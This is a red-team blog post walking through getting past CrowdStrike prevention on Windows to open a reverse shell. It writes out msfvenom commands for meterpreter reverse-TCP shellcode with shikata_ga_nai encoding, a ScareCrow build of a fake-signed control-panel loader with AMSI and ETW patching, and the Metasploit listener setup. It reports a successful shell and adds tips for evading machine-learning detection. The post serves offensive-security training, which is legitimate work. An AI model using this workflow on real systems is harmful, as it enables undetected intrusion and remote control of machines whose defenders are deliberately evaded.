Working to Bypass CrowdStrike Prevention of Initial Foothold

Redteams today have it bad – with a wealth of telemetry available to blue teams from EDR/AV tools, Windows logging to SIEM, PowerShell auditing and other capabilities, slipping past all of these defenses without setting off alarms and prevention mechanisms can be extremely time-consuming. Developing sophisticated offensive tools that are Fully Undetected (FUD) is an art that requires a high-degree of expertise – fortunately, there exists many different tools by talented authors which can allow even novice redteamers the capability to gain initial footholds on a device and lead the way to additional post-exploitation activity. One such tool that we will discuss today is ScareCrow.

Developed by Optiv [ ] ScareCrow is a payload creation framework designed to help offensive professionals bypass standard EDR and AV detection mechanisms through a variety of techniques including Antimalware Scan Interface (AMSI) patching, Signature copying, Event Tracing for Windows (ETW) bypasses and others. It also allows the operator to determine the loader and delivery mechanism through options such as .CPL, .JS, .HTA and other execution mechanisms as well as regular .DLL files that can be invoked by third-party tools such as through CobaltStrike beacons.

In combination with ScareCrow we will be using the Metasploit Framework to generate our actual reverse TCP shellcode and handle listeners – if you’re not familiar with this tool, I would recommend starting there with one of the many free tutorials available as it is a fundamental offensive utility. The environment we are working within is a patched Windows 1809 system with the latest CrowdStrike sensor setup with most preventions and visibility options enabled as well as Aggressive/Aggressive prevention and detection for machine learning capabilities.

MSFvenom is a tool included within the framework which combines payload creation and encoding capabilities to give analysts the ability to generate thousands of payload variations with friendly command-line arguments – if you’ve never heard of this, take a look here [ ]. We are going to stick to basic arguments – payload selection, local host and port variable setting, output format and file name and an encoding routine to help obfuscate the final shellcode output. MSFvenom can output in dozens of formats including exe, vbs, vba, jsp, aspx, msi, etc – for our usecase, we will be using ‘raw’ to indicate raw shellcode output. It is also possible to receive powershell, c, csharp and other language outputs from the tool, making it extremely useful

Generating raw shellcode via msfvenom for a stageless reverse-tcp shell

Now that we have some raw shellcode, lets take that to ScareCrow and turn it into a deployable payload that can hopefully bypass some basic checks done by CrowdStrike – ScareCrow does include multiple loader and command arguments to help offensive specialists customize payloads. We are going to sign our payload with a fake certificate and utilize the wscript loader provided by ScareCrow with a final output file of helper.js.

Turning shellcode into deployable payloads via ScareCrow

Additionally, now we need to ensure our attacking machine is setup and ready to receive the reverse shell generated by the payload – first start the metasploit framework.

Starting Metasploit Framework

Once that’s ready, configure our exploit handler to match the properties given to the msfvenom payload (especially the payload and port!) – once run, this will capture the incoming traffic from the payload when it is executed on the target device.

Setting up Reverse Shell Listener within msfconsole

Copying our file ‘helper.js’ to the target and executing, we’re met with an initial roadblock – CrowdStrike detects and prevents the file when executed based on the behavior – we could spend some time debugging and researching why but lets try a few variations first to see if we can easily find one that will slip through the behavioral prevention mechanism.

CrowdStrike does its job and prevents our first attempt

Lets try a new encoder along with a staged payload rather than a stageless – these are sometimes less likely to be caught due to the nature of the payload execution – staged payloads typically smaller as they will call additional pieces of the malware down once executed, often referred to as a dropper, while stageless payloads are typically much larger in size as they will encapsulate the entirety of the first-stage shell or other payload into the file dropped on the target machine. This means more files on disk which is always a risk when compared to file-less execution. Notice the extra / between meterpreter and reverse_tcp indicating we are using a staged vs stageless payload. We will also try a different encoding routine with additional iterations to obfuscate the presence of suspicious shellcode in the resulting binary.

Generating more shellcode with a staged payload and different encoding

Unfortunately after compiling to a .JS file using wscript loader this was still prevented by CrowdStrike – lets try stageless again instead of staged – keep in mind most of these detections are a result of ‘machine learning’ against the binary rather than behavioral detections – it might be possible to pad the resulting EXE with english words or other information which can reduce the chance of catching on this flag. On this run, we will try the stageless meterpreter_reverse_tcp shellcode with the same encoding and number of iterations but will instead utilize a control panel applet as the loading mechanism rather than a wscript loader.

└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost= lport=443 -f raw -o test3.bin -e x86/shikata_ga_nai -i 12
└─$ ./ScareCrow -I test3.bin -domain -sandbox -Loader control
  _________                           _________
 /   _____/ ____ _____ _______   ____ \_   ___ \_______  ______  _  __
 \_____  \_/ ___\\__  \\_  __ \_/ __ \/    \  \/\_  __ \/  _ \ \/ \/ /
 /        \  \___ / __ \|  | \/\  ___/\     \____|  | \(  <_> )     /
/_______  /\___  >____  /__|    \___  >\______  /|__|   \____/ \/\_/
        \/     \/     \/            \/        \/
        “Fear, you must understand is more than a mere obstacle.
        Fear is a TEACHER. the first one you ever had.”

[*] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[+] Patched ETW Enabled
[+] Patched AMSI Enabled
[*] Creating an Embedded Resource File
[+] Created Embedded Resource File With appwizard's Properties
[*] Compiling Payload
[+] Payload Compiled
[*] Signing appwizard.dll With a Fake Cert
[+] Signed File Created
[+] power.cpl File Ready

We must also ensure our msfconsole is running the appropriate exploit handler with the new port as well.

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
smsf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on

We then copy the file over to our victim machine, run it and…no prevention alert pops up! Finally after some troubleshooting, we have an active reverse shell to our msfconsole from essentially default shellcode mechanisms built into Metasploit Framework.

Success! Reverse Shell connection established back to attacking machine.
Receiving the shell from the metasploit perspective

This was achieved using a control panel loader from ScareCrow with a stageless meterpreter_reverse_tcp shellcode input after encoding with the shikata_ga_nai algorithm as shown in the above images.

This in turn generated a .CPL file for us which was deployed onto the victim and executed to achieve the shell – keep in mind this is only bypassing the prevention policy – this is still likely to generate a Medium to High severity alert with respect to their Machine Learning algorithms and heuristics detecting a Suspicious File as shown below.

Example Machine-Learning detection generated – but not a prevention!

This is often due to items such as the high-entropy of the resulting payload after running it through encryption and encoding algorithms. Inserting junk data into the file to reduce the entropy such as blank images or high amounts of English words can reduce the scoring and avoid a Machine Learning alert for suspicious file written to disk. Other techniques such as avoiding certain suspicious API calls or hiding their usage, using stack-strings instead of static and the dozens of other obfuscation mechanisms out there can all help to reduce the chances of triggering alerts across EDR and AV solutions. Maybe we can discuss these in a future post.

Even though CrowdStrike allowed the shell, it is still watching the process – if we were to take any suspicious actions it is highly likely that they would be detected and the process terminated – stealthy post-exploitation is outside the scope of this post due to the massive amount of different objectives and techniques required to achieve those goals depending on the environment, host, resources and needs of the offensive team – the red-team community could probably fill a library with the amount of techniques that exist in the wild. The topics covered in this post are barely scratching the surface – you will always achieve additional success when you write completely custom shellcode and use multiple obfuscation and payload-generation tools in a CI/CD pipeline to develop completely unique binaries that do not have the markings of their source tools, not to mention techniques to help blind and unhook EDR and AV tools which are a whole world on their own.

I hope this post inspires you to learn and try new tools and techniques on your journey towards becoming a red-team specialist!

Published by

Joe Avanzato

Blue Team SME | Purple Team Engineer | Red Team Hunter Previously - Cyber Detection Lead for Paychex - Design, Build, Test and Tune Detection Rules, Log/Environment Visibility, Threat Hunting, etc. Computing Security M.S. - Experience with penetration testing, digital forensics, malware analysis, reverse engineering, cryptography/analysis, protocol design, application auditing and more..

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